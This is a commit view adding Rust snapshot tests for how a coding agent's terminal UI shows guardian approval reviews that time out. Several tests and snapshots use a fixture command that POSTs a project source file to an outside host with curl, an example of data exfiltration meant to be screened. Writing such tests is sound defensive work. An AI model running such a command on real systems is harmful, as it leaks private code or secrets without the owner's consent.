guardian timeout fix pr 3 - ux touch for timeouts (#17557)

This PR teaches the TUI to render guardian review timeouts as explicit
terminal history entries instead of dropping them from the live
timeline.
It adds timeout-specific history cells for command, patch, MCP tool, and
network approval reviews.
It also adds snapshot tests covering both the direct guardian event path
and the app-server notification path.
This commit is contained in:
Won Park
2026-04-13 17:43:19 -07:00
committed by GitHub
Unverified
parent 280a4a6d42
commit 495ed22dfb
5 changed files with 265 additions and 0 deletions
@@ -0,0 +1,20 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
---
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
re/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
Ask Codex to do anything
gpt-5.3-codex default · /tmp/project
@@ -0,0 +1,24 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
---
⚠ Automatic approval review timed out while evaluating the requested approval.
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
re/src/codex.rs https://example.com
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gpt-5.3-codex default · /tmp/project
@@ -121,6 +121,81 @@ async fn guardian_approved_exec_renders_approved_request() {
);
}
#[tokio::test]
async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.show_welcome_banner = false;
let action = GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
};
chat.handle_codex_event(Event {
id: "guardian-in-progress".into(),
msg: EventMsg::GuardianAssessment(GuardianAssessmentEvent {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
rationale: None,
decision_source: None,
action: action.clone(),
}),
});
chat.handle_codex_event(Event {
id: "guardian-warning".into(),
msg: EventMsg::Warning(WarningEvent {
message: "Automatic approval review timed out while evaluating the requested approval."
.into(),
}),
});
chat.handle_codex_event(Event {
id: "guardian-assessment".into(),
msg: EventMsg::GuardianAssessment(GuardianAssessmentEvent {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
status: GuardianAssessmentStatus::TimedOut,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review timed out while evaluating the requested approval."
.into(),
),
decision_source: Some(GuardianAssessmentDecisionSource::Agent),
action,
}),
});
let width: u16 = 140;
let ui_height: u16 = chat.desired_height(width);
let vt_height: u16 = 20;
let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height);
let backend = VT100Backend::new(width, vt_height);
let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal");
term.set_viewport_area(viewport);
for lines in drain_insert_history(&mut rx) {
crate::insert_history::insert_history_lines(&mut term, lines)
.expect("Failed to insert history lines in test");
}
term.draw(|f| {
chat.render(f.area(), f.buffer_mut());
})
.expect("draw guardian timeout history");
assert_chatwidget_snapshot!(
"guardian_timed_out_exec_renders_warning_and_timed_out_request",
normalize_snapshot_paths(term.backend().vt100().screen().contents())
);
}
#[tokio::test]
async fn app_server_guardian_review_started_sets_review_status() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -236,6 +311,84 @@ async fn app_server_guardian_review_denied_renders_denied_request_snapshot() {
);
}
#[tokio::test]
async fn app_server_guardian_review_timed_out_renders_timed_out_request_snapshot() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.show_welcome_banner = false;
let action = AppServerGuardianApprovalReviewAction::Command {
source: AppServerGuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
};
chat.handle_server_notification(
ServerNotification::ItemGuardianApprovalReviewStarted(
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
review: GuardianApprovalReview {
status: GuardianApprovalReviewStatus::InProgress,
risk_level: None,
user_authorization: None,
rationale: None,
},
action: action.clone(),
},
),
/*replay_kind*/ None,
);
chat.handle_server_notification(
ServerNotification::ItemGuardianApprovalReviewCompleted(
ItemGuardianApprovalReviewCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
decision_source: AppServerGuardianApprovalReviewDecisionSource::Agent,
review: GuardianApprovalReview {
status: GuardianApprovalReviewStatus::TimedOut,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review timed out while evaluating the requested approval."
.to_string(),
),
},
action,
},
),
/*replay_kind*/ None,
);
let width: u16 = 140;
let ui_height: u16 = chat.desired_height(width);
let vt_height: u16 = 16;
let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height);
let backend = VT100Backend::new(width, vt_height);
let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal");
term.set_viewport_area(viewport);
for lines in drain_insert_history(&mut rx) {
crate::insert_history::insert_history_lines(&mut term, lines)
.expect("Failed to insert history lines in test");
}
term.draw(|f| {
chat.render(f.area(), f.buffer_mut());
})
.expect("draw guardian timeout history");
assert_chatwidget_snapshot!(
"app_server_guardian_review_timed_out_renders_timed_out_request",
normalize_snapshot_paths(term.backend().vt100().screen().contents())
);
}
#[tokio::test]
async fn guardian_parallel_reviews_render_aggregate_status_snapshot() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;